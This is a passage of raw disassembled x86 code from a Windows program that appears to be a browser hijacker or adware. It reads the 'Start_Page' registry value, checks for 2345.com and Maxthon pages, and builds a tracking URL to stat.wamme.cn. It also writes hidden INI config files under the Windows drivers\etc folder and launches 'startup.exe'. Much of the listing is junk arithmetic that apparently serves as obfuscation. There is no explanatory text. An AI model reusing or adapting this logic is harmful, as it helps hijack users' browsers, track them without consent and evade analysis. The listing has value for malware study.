imul edx, edx, 0xbdb188
sub eax, edx
mov esi, eax
mov eax, 0x2742b221
imul dword [0x459b54]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x702fe9a3
imul dword [0x459b54]
add esi, ecx
sar edx, 0x19
mov dword [0x459b38], esi
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x459b4c]
imul edx, edx, 0x53d33c3
add esi, edi
add esi, edx
mov edx, dword [0x459b3c]
mov eax, 0x2742b221
imul edx
add esi, ebx
mov dword [ebp - 0x10c8], 0x104
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
lea ecx, [ebp - 0x10c8]
push ecx
mov ecx, dword [ebp - 0x10f8]
lea edx, [ebp - 0x144]
push edx
lea eax, [ebp - 0x10f4]
push eax
push 0
push str.Start_Page
mov edi, 1
push ecx
mov dword [0x459b4c], esi
mov dword [ebp - 0x10f4], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x41eefe
mov ecx, dword [0x459b50]
mov eax, 0x5e407cd
imul dword [0x459b44]
mov esi, ecx
imul esi, esi, 0x1a0fa8c
sar edx, 0x14
add esi, edx
mov ebx, edx
mov edx, dword [0x459b3c]
mov eax, 0x545b9e19
imul edx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
shr ebx, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
add ebx, esi
lea esi, [eax + ebx*2 + 0x3409364]
mov eax, dword [0x56d978]
sub esi, edx
test eax, eax
mov dword [0x459b3c], esi
jne 0x41ef0a
lea ecx, [ebp - 0x144]
push str..2345.com
push ecx
call fcn.0042db80
add esp, 8
test eax, eax
jne 0x41ee66
lea edx, [ebp - 0x144]
push str..2345.COM
push edx
call fcn.0042db80
add esp, 8
test eax, eax
je 0x41eefe
mov ecx, dword [0x459b3c]
mov eax, dword [0x459b58]
mov esi, dword [0x459b44]
imul eax, eax, 0x171ed6e
mov ebx, ecx
imul ebx, ebx, 0x1a0fa8c
add ebx, eax
mov eax, 0x5e407cd
imul esi
sar edx, 0x14
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
shl eax, 1
mov ebx, eax
mov eax, 0x702fe9a3
imul esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x565ef47
imul ecx
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0x144]
push edx
sub ebx, ecx
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_HomePage_s
push 0x55c448
mov dword [str._r_____r____], ebx
mov dword [0x56d978], edi
call fcn.0042d0e1
push 0x132b600
call sym.CallDll.exe_int___cdecl_pro_cess3_int_
add esp, 0x10
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [0x459b3c]
mov ecx, dword [0x459b50]
mov edi, dword [0x459b58]
imul ecx, ecx, 0x185d014
imul edi, edi, 0x171ed6e
mov eax, 0x5e407cd
imul dword [0x459b44]
sar edx, 0x14
add edi, edx
mov ebx, edx
mov edx, dword [0x459b54]
mov eax, 0x702fe9a3
imul edx
mov eax, dword [0x459b4c]
imul eax, eax, 0x53d33c3
sar edx, 0x19
shr ebx, 0x1f
add ebx, edi
mov edi, edx
shr edi, 0x1f
add ebx, edx
add edi, ebx
add edi, ecx
mov ecx, dword [0x459b40]
add edi, eax
imul ecx, ecx, 0xbdb188
mov eax, 0x2742b221
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add edi, ecx
mov ecx, dword [ebp - 0x10f8]
add eax, edx
sub edi, eax
push ecx
mov dword [0x459b4c], edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x459b44]
mov eax, 0x5e407cd
imul ecx
mov ecx, dword [0x459b40]
sar edx, 0x14
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x540f9495
imul ecx
sar edx, 0x17
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov eax, 0x186e8b3d
imul ecx
mov eax, dword [0x459b50]
sar edx, 0x17
imul eax, eax, 0xbdb188
add ebx, edx
mov ecx, edx
mov edx, dword [0x459b38]
mov edi, dword [0x459b58]
imul edx, edx, 0x53d33c3
shr ecx, 0x1f
imul edi, edi, 0x171ed6e
add ecx, ebx
mov ebx, dword [0x459b54]
add ecx, edx
sub ecx, eax
mov eax, 0x2742b221
imul ebx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
sub ecx, eax
imul edx, edx, 0x2b75400
add ecx, esi
add ecx, edi
mov dword [0x459b38], ecx
imul ecx, ecx, 0x18470b7
add ecx, edx
mov eax, 0x702fe9a3
imul ebx
mov ebx, dword [0x459b48]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x5e407cd
imul ebx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x565ef47
imul ebx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10dc]
add ecx, esi
add ecx, edi
lea edx, [ebp - 0x10e8]
push edx
mov dword [0x459b54], ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10e8]
push eax
call fcn.00422fc0
mov ebx, eax
mov esi, dword [0x459b58]
mov eax, 0x5e407cd
imul dword [0x459b44]
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x702fe9a3
imul dword [0x459b4c]
sar edx, 0x19
mov edi, esi
imul edi, edi, 0x171ed6e
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b48]
sub edi, eax
imul edx, edx, 0x4905557
mov eax, dword [0x459b38]
imul eax, eax, 0xd0a84b
add edi, edx
mov edx, dword [0x459b40]
add edi, eax
mov eax, 0x4eb6fa85
imul edx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b54]
sub edi, eax
sub edi, edx
test ebx, ebx
lea ecx, [edi + ecx - 0x53d33c3]
mov dword [0x459b40], ecx
je 0x41f1b5
mov edi, str.about:blank
mov esi, ebx
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x41f1af
mov ecx, dword [0x459b58]
mov esi, dword [0x459b50]
mov eax, 0x9d2b2fed
imul esi, esi, 0x18470b7
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x58945bfd
imul ecx
imul ecx, ecx, 0x3cb4655
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
sub eax, ecx
push 1
mov dword [0x459b48], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10dc]
mov ecx, dword [eax]
lea edx, [ebp - 0x10e8]
push edx
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10e8]
push eax
call fcn.00422fc0
mov ebx, eax
mov esi, dword [0x459b58]
mov ecx, dword [0x459b44]
imul esi, esi, 0x4b280d2
mov eax, 0x5e407cd
imul ecx
mov edi, ecx
imul edi, edi, 0x171ed6e
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, ecx
sub eax, edi
mov edi, eax
mov eax, dword [0x459b48]
imul eax, eax, 0x185d014
mov ecx, dword [0x459b3c]
add edi, eax
mov eax, dword [0x459b4c]
imul eax, eax, 0x53d33c3
sub edi, eax
mov eax, 0x4eb6fa85
imul ecx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
push 4
sub edi, eax
push str.http
add edi, esi
push ebx
mov dword [0x459b50], edi
call fcn.0042e290
add esp, 0xc
test eax, eax
je 0x41f48c
push 4
push str.HTTP
push ebx
call fcn.0042e290
add esp, 0xc
test eax, eax
je 0x41f48c
push 4
push str.www.
push ebx
call fcn.0042e290
add esp, 0xc
test eax, eax
je 0x41f48c
push 4
push str.WWW.
push ebx
call fcn.0042e290
add esp, 0xc
test eax, eax
je 0x41f48c
push str.http:
push ebx
call fcn.0042db80
add esp, 8
test eax, eax
jne 0x41f2c7
push str.HTTP:
push ebx
call fcn.0042db80
add esp, 8
test eax, eax
jne 0x41f2c7
push str.www.
push ebx
call fcn.0042db80
add esp, 8
test eax, eax
jne 0x41f2c7
push str.WWW.
push ebx
call fcn.0042db80
add esp, 8
test eax, eax
je 0x41f48c
mov ecx, dword [0x459b38]
mov eax, 0x545b9e19
imul ecx
mov ecx, dword [0x459b58]
sar edx, 0x17
imul ecx, ecx, 0x171ed6e
mov esi, edx
shr esi, 0x1f
add esi, edx
add esi, ecx
mov ecx, dword [0x459b44]
mov eax, 0x5e407cd
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x14
mov edi, edx
add esi, edx
mov eax, 0x540f9495
imul ecx
mov ecx, dword [0x459b54]
sar edx, 0x17
imul ecx, ecx, 0x53d33c3
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b40]
imul edx, edx, 0x8aa118
shr edi, 0x1f
add edi, esi
sub edi, eax
sub edi, ecx
add edi, edx
push str.http:
push ebx
mov dword [0x459b58], edi
call fcn.0042db80
add esp, 8
test eax, eax
je 0x41f438
push str.http:
jmp 0x41f481
mov esi, dword [0x459b40]
imul edi, edi, 0xbdb188
mov ebx, dword [0x459b58]
mov eax, 0x540f9495
imul ebx, ebx, 0x171ed6e
imul esi
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov ebx, eax
mov eax, 0x186e8b3d
imul esi
mov eax, dword [0x459b38]
imul eax, eax, 0x53d33c3
sar edx, 0x17
mov esi, edx
shr esi, 0x1f
add ebx, edx
mov edx, dword [0x459b54]
add esi, ebx
add esi, eax
mov eax, 0x2742b221
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
sub esi, edi
add eax, edx
sub esi, eax
add esi, ecx
push str.startup.exe
mov dword [0x459b38], esi
call fcn.0040dd30
add esp, 4
test eax, eax
jle 0x41e716
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 5
je 0x41f3f9
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10f0]
test eax, eax
mov byte [ebp - 4], 4
je 0x41f40d
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 2
je 0x41f421
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 1
je 0x420272
jmp 0x42026c
push str.HTTP:
push ebx
call fcn.0042db80
add esp, 8
test eax, eax
je 0x41f451
push str.HTTP:
jmp 0x41f481
push str.www.
push ebx
call fcn.0042db80
add esp, 8
test eax, eax
je 0x41f46a
push str.www.
jmp 0x41f481
push str.WWW.
push ebx
call fcn.0042db80
add esp, 8
test eax, eax
je 0x41f48c
push str.WWW.
push ebx
call fcn.0042db80
add esp, 8
mov ebx, eax
mov edi, dword [0x459b44]
mov ecx, dword [0x459b58]
imul ecx, ecx, 0x171ed6e
mov eax, 0x5e407cd
imul edi
mov eax, dword [0x459b3c]
imul eax, eax, 0x1a0fa8c
sar edx, 0x14
mov esi, edx
shr esi, 0x1f
add esi, edx
add eax, esi
add ecx, eax
mov eax, 0x702fe9a3
imul edi
sar edx, 0x19
shl ecx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x565ef47
imul dword [0x459b3c]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov edx, dword [0x44ac84]
mov dword [str._r_____r____], ecx
xor eax, eax
mov byte [ebp - 0x8c4], 0
mov ecx, 0xff
lea edi, [ebp - 0x8c3]
rep stosd dword es:[edi], eax
mov ecx, dword [str.fdfdadsafdfghfjkt]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x44ac88]
mov dword [ebp - 0x4c4], ecx
mov ecx, dword [0x44ac8c]
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4b8], ecx
xor eax, eax
mov dword [ebp - 0x4c0], edx
mov dx, word [0x44ac90]
mov word [ebp - 0x4b4], dx
mov ecx, 0x7b
lea edi, [ebp - 0x4b2]
rep stosd dword es:[edi], eax
mov ecx, dword [0x459b50]
stosw word es:[edi], ax
imul ecx, ecx, 0x1a0fa8c
mov eax, 0x545b9e19
imul dword [0x459b3c]
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add ecx, esi
add eax, edx
lea ecx, [eax + ecx*2 + 0x3409364]
sub ecx, dword [str._r_____r____]
mov esi, ebx
mov dword [0x459b3c], ecx
lea edi, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x41f592
sub esi, edi
mov dword [ebp - 0x10f4], esi
je 0x41f6da
push str.http:__
push ebx
call fcn.0042db80
add esp, 8
test eax, eax
jne 0x41f6bf
push str.HTTP:__
push ebx
call fcn.0042db80
add esp, 8
test eax, eax
jne 0x41f6bf
push str.www.
push ebx
call fcn.0042db80
add esp, 8
test eax, eax
jne 0x41f6bf
push str.WWW.
push ebx
call fcn.0042db80
add esp, 8
test eax, eax
jne 0x41f6bf
push str..COM
push ebx
call fcn.0042db80
add esp, 8
test eax, eax
jne 0x41f6bf
push str..com
push ebx
call fcn.0042db80
add esp, 8
test eax, eax
jne 0x41f6bf
push str..NET
push ebx
call fcn.0042db80
add esp, 8
test eax, eax
jne 0x41f6bf
push str..net
push ebx
call fcn.0042db80
add esp, 8
test eax, eax
jne 0x41f6bf
push str..ORG
push ebx
call fcn.0042db80
add esp, 8
test eax, eax
jne 0x41f6bf
push str..org
push ebx
call fcn.0042db80
add esp, 8
test eax, eax
jne 0x41f6bf
push 0x44ac3c
push ebx
call fcn.0042db80
add esp, 8
test eax, eax
jne 0x41f6bf
push 0x44ac38
push ebx
call fcn.0042db80
add esp, 8
test eax, eax
jne 0x41f6bf
push str..htm
push ebx
call fcn.0042db80
add esp, 8
test eax, eax
jne 0x41f6bf
push str..HTM
push ebx
call fcn.0042db80
add esp, 8
test eax, eax
je 0x41f6d4
push ebx
lea ecx, [ebp - 0x4c4]
push str.__s_
push ecx
call fcn.0042d0e1
add esp, 0xc
mov ecx, dword [0x459b3c]
mov eax, dword [0x459b58]
mov esi, dword [0x459b44]
imul eax, eax, 0x171ed6e
mov edi, ecx
imul edi, edi, 0x1a0fa8c
add edi, eax
mov eax, 0x5e407cd
imul esi
sar edx, 0x14
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
shl eax, 1
mov edi, eax
mov eax, 0x702fe9a3
imul esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x565ef47
imul ecx
sar edx, 0x12
mov ecx, edx
push str.C:WINDOWS_system_sdax.txt
shr ecx, 0x1f
push 0x400
add ecx, edx
lea edx, [ebp - 0x8c4]
push edx
push 0x449e59
push str.rtgbh
sub edi, ecx
push str.asdf
mov dword [str._r_____r____], edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test ebx, ebx
je 0x41f8bc
mov eax, ebx
lea edx, [eax + 1]
jmp 0x41f770
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41f770
sub eax, edx
mov dword [ebp - 0x10f4], eax
je 0x41f8bc
mov edi, str.about:blank
mov esi, ebx
mov ecx, 0xc
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x41f8bc
lea ecx, [ebp - 0x144]
push ecx
push ebx
call fcn.0042db80
add esp, 8
test eax, eax
jne 0x41f81b
lea edx, [ebp - 0x144]
push ebx
push edx
call fcn.0042db80
add esp, 8
test eax, eax
jne 0x41f81b
mov edi, str.http:__i.maxthon.cn_
mov esi, ebx
lea ebx, [ebx]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x41f7f8
test al, al
je 0x41f7f4
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x41f7f8
add esi, 2
add edi, 2
test al, al
jne 0x41f7d0
xor eax, eax
jmp 0x41f7fd
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41f81b
lea eax, [ebp - 0x4c4]
push eax
lea ecx, [ebp - 0x8c4]
push ecx
call fcn.0042db80
add esp, 8
test eax, eax
je 0x41f833
lea edx, [ebp - 0x1c4]
push edx
push ebx
call fcn.0042db80
add esp, 8
test eax, eax
je 0x41f8bc
mov esi, dword [0x459b58]
mov eax, 0x5e407cd
imul esi, esi, 0x171ed6e
imul dword [0x459b44]
sar edx, 0x14
add esi, edx
mov ecx, edx
mov eax, 0x702fe9a3
imul dword [0x459b4c]
sar edx, 0x19
shr ecx, 0x1f
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, esi
mov esi, dword [0x459b48]
sub ecx, eax
mov eax, dword [0x459b38]
imul eax, eax, 0xd0a84b
mov edx, esi
imul edx, edx, 0x4905557
add ecx, edx
mov edx, dword [0x459b40]
add ecx, eax
mov eax, 0x4eb6fa85
imul edx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b54]
sub ecx, eax
sub ecx, edx
sub ecx, 0x53d33c3
mov dword [0x459b40], ecx
jmp 0x41f95c
push 0
call fcn.0042d717
mov ecx, dword [0x459b44]
mov dword [0x56d974], eax
mov eax, dword [0x56d970]
add esp, 4
inc eax
mov dword [0x56d970], eax
mov esi, dword [0x459b50]
mov eax, 0x5e407cd
imul esi, esi, 0x18470b7
imul ecx
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov dword [ebp - 0x10c8], ecx
mov ecx, dword [0x459b58]
mov eax, 0x9d2b2fed
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x58945bfd
imul ecx
imul ecx, ecx, 0x3cb4655
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add esi, edx
mov edx, dword [ebp - 0x10d8]
add eax, esi
sub eax, ecx
mov dword [0x459b48], eax
mov eax, dword [ebp - 0x10dc]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x9c]
mov ecx, dword [0x459b40]
mov esi, dword [0x459b48]
mov eax, 0x5e407cd
imul dword [0x459b44]
sar edx, 0x14
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x540f9495
imul ecx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x10d8], eax
mov eax, 0x186e8b3d
imul ecx
mov eax, dword [ebp - 0x10d8]
sar edx, 0x17
add eax, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, eax
mov eax, dword [0x459b38]
imul eax, eax, 0x53d33c3
add ecx, eax
mov eax, dword [0x459b50]
mov ebx, dword [0x459b58]
imul eax, eax, 0xbdb188
sub ecx, eax
imul ebx, ebx, 0x171ed6e
mov eax, 0x2742b221
imul dword [0x459b54]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10e4]
add ecx, edi
add ecx, ebx
test eax, eax
mov dword [0x459b38], ecx
je 0x41ffe4
lea edx, [eax + 1]
mov dword [ebp - 0x10d8], edx
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41fa00
sub eax, dword [ebp - 0x10d8]
mov dword [ebp - 0x10d8], eax
je 0x41ffe4
mov ecx, dword [0x459b4c]
imul esi, esi, 0xd0a84b
mov eax, ecx
imul eax, eax, 0x341f518
mov dword [ebp - 0x10d8], eax
mov eax, 0x545b9e19
imul ecx
mov ecx, dword [ebp - 0x10d8]
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x2b75400
sub ecx, eax
mov eax, dword [0x459b50]
add edx, edi
add edx, ecx
add esi, edx
add esi, ebx
lea ecx, [esi + eax - 0x53d33c3]
push 0xffffffffffffffff
mov dword [0x459b44], ecx
push 0x55d550
lea ecx, [ebp - 0x113c]
call fcn.00406810
mov ecx, dword [0x459b44]
mov ebx, dword [0x459b48]
mov eax, 0x5e407cd
imul ebx, ebx, 0x185d014
imul ecx
imul ecx, ecx, 0x171ed6e
sar edx, 0x14
mov edi, dword [0x459b58]
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x459b4c]
imul edx, edx, 0x53d33c3
sub ebx, ecx
sub ebx, edx
mov eax, 0x4eb6fa85
imul dword [0x459b3c]
sar edx, 0x18
mov ecx, edi
imul ecx, ecx, 0x4b280d2
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [ebp - 0x10e4]
add ebx, esi
add ecx, ebx
mov byte [ebp - 4], 7
mov dword [0x459b50], ecx
mov dword [ebp - 0x10c8], 0x55cd48
mov dl, byte [eax]
mov ebx, dword [ebp - 0x10c8]
mov byte [ebp - 0x10cd], dl
cmp dl, byte [ebx]
jne 0x41fb38
test dl, dl
je 0x41fb34
mov dl, byte [eax + 1]
mov byte [ebp - 0x10cd], dl
cmp dl, byte [ebx + 1]
jne 0x41fb38
add ebx, 2
add eax, 2
test dl, dl
mov dword [ebp - 0x10c8], ebx
jne 0x41fb00
xor eax, eax
jmp 0x41fb3d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41ffc9
mov eax, 0x545b9e19
imul dword [0x459b3c]
mov ebx, ecx
imul ebx, ebx, 0x1a0fa8c
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add ebx, esi
mov esi, dword [str._r_____r____]
add eax, edx
lea edx, [eax + ebx*2 + 0x3409364]
mov eax, dword [ebp - 0x10e4]
sub edx, esi
mov dword [0x459b3c], edx
lea ebx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41fb82
sub eax, ebx
cmp eax, 0x800
jae 0x41fbac
mov ecx, dword [ebp - 0x10e4]
mov edx, 0x55cd48
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x41fba0
jmp 0x41fc1a
mov eax, 0x9d2b2fed
imul ecx, ecx, 0x18470b7
imul edi
add edx, edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x58945bfd
imul edi
imul edi, edi, 0x3cb4655
sar edx, 0x17
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
sub eax, edi
mov dword [0x459b48], eax
xor eax, eax
mov ecx, 0x200
mov edi, 0x55cd48
rep stosd dword es:[edi], eax
mov ecx, dword [ebp - 0x10e4]
push 0x7ff
push ecx
push 0x55cd48
call fcn.0042e160
mov esi, dword [str._r_____r____]
mov edi, dword [0x459b58]
add esp, 0xc
mov ecx, dword [0x459b38]
imul edi, edi, 0x171ed6e
imul esi, esi, 0x2b75400
imul ecx, ecx, 0x18470b7
mov eax, 0x5e407cd
imul dword [0x459b44]
add ecx, edi
sar edx, 0x14
add ecx, edx
mov edi, edx
shr edi, 0x1f
add edi, ecx
mov ecx, dword [0x459b54]
mov eax, 0x702fe9a3
imul ecx
mov ecx, dword [0x459b48]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
add edi, esi
sub edi, eax
mov eax, 0x5e407cd
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x565ef47
imul ecx
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov eax, 0x55c448
mov dword [0x459b54], edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41fca0
sub eax, ecx
cmp eax, 5
jbe 0x41ffc9
mov edx, dword [ebp - 0x10e4]
push str.ConfigL6
push edx
call fcn.00404c00
add esp, 8
test eax, eax
jne 0x41ffc9
mov ecx, dword [0x459b38]
mov eax, 0x545b9e19
imul ecx
mov eax, dword [0x459b58]
mov ecx, dword [0x459b44]
imul eax, eax, 0x171ed6e
sar edx, 0x17
mov esi, edx
shr esi, 0x1f
add esi, edx
add esi, eax
mov eax, 0x5e407cd
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x14
mov edi, edx
add esi, edx
mov eax, 0x540f9495
imul ecx
mov eax, dword [0x459b40]
sar edx, 0x17
imul eax, eax, 0x8aa118
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x459b54]
imul edx, edx, 0x53d33c3
shr edi, 0x1f
add edi, esi
sub edi, ecx
sub edi, edx
add edi, eax
push 0x132b600
mov dword [0x459b58], edi
call sym.CallDll.exe_int___cdecl_pro_cess3_int_
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
mov dword [ebp - 0x10c8], 0
cmp dword [ebp - 0x10c8], 0x64
jge 0x41fdfc
mov ecx, dword [0x459b3c]
mov edx, dword [0x459b58]
mov esi, dword [0x459b44]
imul edx, edx, 0x171ed6e
mov ebx, ecx
imul ebx, ebx, 0x1a0fa8c
add ebx, edx
mov eax, 0x5e407cd
imul esi
sar edx, 0x14
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
shl eax, 1
mov ebx, eax
mov eax, 0x702fe9a3
imul esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x565ef47
imul ecx
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
push 0x64
mov dword [str._r_____r____], ebx
call edi
mov eax, 0x55c448
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41fde0
sub eax, edx
mov dword [ebp - 0x10d8], eax
je 0x41fdfc
inc dword [ebp - 0x10c8]
jmp 0x41fd62
mov ecx, dword [0x459b44]
mov esi, dword [0x459b50]
mov eax, 0x5e407cd
imul esi, esi, 0x1a0fa8c
imul ecx
mov ecx, dword [0x459b3c]
sar edx, 0x14
mov edi, edx
add esi, edx
mov eax, 0x545b9e19
imul ecx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
shr edi, 0x1f
push str.C:_WINDOWS_system32driversetc_service5.ini
add edi, esi
lea ecx, [eax + edi*2 + 0x3409364]
push 0x800
sub ecx, edx
lea edx, [ebp - 0x10c4]
push edx
push 0x449e59
push str.ConfigL5
push str.GameType1
mov dword [0x459b3c], ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [0x459b4c]
mov esi, ecx
mov eax, 0x545b9e19
imul esi, esi, 0x341f518
imul ecx
mov ecx, dword [0x459b58]
imul ecx, ecx, 0x171ed6e
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov edi, dword [0x459b50]
add esi, ecx
mov ecx, dword [0x459b44]
mov eax, 0x5e407cd
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x14
imul ecx, ecx, 0x2b75400
mov eax, edx
add esi, edx
mov edx, dword [0x459b48]
imul edx, edx, 0xd0a84b
shr eax, 0x1f
add eax, esi
add ecx, edi
add ecx, eax
lea eax, [edx + ecx - 0x53d33c3]
lea ecx, [ebp - 0x10c4]
push ecx
mov dword [0x459b44], eax
call fcn.0042d712
inc eax
push eax
lea edx, [ebp - 0x10c4]
push 0x449b00
push edx
call fcn.0042d0e1
add esp, 0x10
push str.C:_WINDOWS_system32driversetc_service5.ini
lea eax, [ebp - 0x10c4]
push eax
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [0x459b44]
mov esi, dword [0x459b58]
mov eax, 0x5e407cd
imul esi, esi, 0x171ed6e
imul ecx
sar edx, 0x14
mov ecx, dword [0x459b54]
add esi, edx
mov edi, edx
mov eax, 0x702fe9a3
imul ecx
mov ecx, dword [0x459b50]
mov eax, dword [0x459b40]
imul ecx, ecx, 0x185d014
sar edx, 0x19
imul eax, eax, 0xbdb188
shr edi, 0x1f
add edi, esi
add edi, edx
mov esi, edx
mov edx, dword [0x459b4c]
imul edx, edx, 0x53d33c3
shr esi, 0x1f
add esi, edi
add esi, ecx
mov ecx, dword [0x459b3c]
add esi, edx
add esi, eax
mov eax, 0x2742b221
imul ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov dword [0x459b4c], esi
mov esi, dword [0x55c440]
inc esi
push 0
mov dword [0x55c440], esi
call fcn.0042d717
add esp, 4
mov dword [0x55c444], eax
lea ecx, [ebp - 0x113c]
mov byte [ebp - 4], 6
call fcn.00406890
mov ecx, dword [0x459b38]
mov esi, dword [0x459b48]
mov eax, dword [0x459b58]
imul ecx, ecx, 0x18470b7
imul eax, eax, 0x171ed6e
add ecx, eax
mov eax, 0x5e407cd
imul dword [0x459b44]
sar edx, 0x14
add ecx, edx
mov edi, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x2b75400
shr edi, 0x1f
add edi, ecx
add edi, edx
mov eax, 0x702fe9a3
imul dword [0x459b54]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x5e407cd
imul esi
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x565ef47
imul esi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, ecx
